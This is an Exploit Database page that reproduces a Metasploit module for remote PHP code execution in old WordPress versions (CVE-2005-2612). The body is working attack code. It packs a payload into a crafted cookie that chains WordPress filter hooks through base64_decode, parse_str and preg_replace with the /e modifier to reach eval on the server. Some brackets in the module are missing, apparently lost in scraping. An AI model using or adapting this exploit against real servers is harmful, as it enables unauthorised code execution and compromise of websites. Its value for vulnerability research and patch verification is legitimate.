WordPress Core 1.5.1.3 – ‘cache_lastpostdate’ Arbitrary Code Execution (Metasploit)

Exploit Database
130 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/16895/

# $Id: php_wordpress_lastpost.rb 9671 2010-07-03 06:21:31Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',

'Description'=> %q{

This module exploits an arbitrary PHP code execution flaw in the WordPress

blogging software. This vulnerability is only present when the PHP 'register_globals'

option is enabled (common for hosting providers). All versions of WordPress prior to

1.5.1.3 are affected.

'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9671 $',

'References' =>

[

['CVE', '2005-2612'],

['OSVDB', '18672'],

['BID', '14533'],

'Privileged' => false,

'Payload'=>

{

'DisableNops' => true,

'Compat'=>

{

'ConnectionType' => 'find',

'Space' => 512,

'Platform' => 'php',

'Arch' => ARCH_PHP,

'Targets'=> [[ 'Automatic', { }]],

'DisclosureDate' => 'Aug 9 2005',

'DefaultTarget' => 0))

register_options(

[

OptString.new('URI', [true, "The full URI path to WordPress", "/"]),

], self.class)

end

def exploit

enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"

str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')

data =

"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+

"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+

"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+

";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+

"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+

"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

# Trigger the command execution bug

res = send_request_cgi({

'uri'=> datastore['URI'],

'cookie' => data

}, 25)

if (res)

print_status("The server returned: #{res.code} #{res.message}")

else

print_status("No response from the server")

end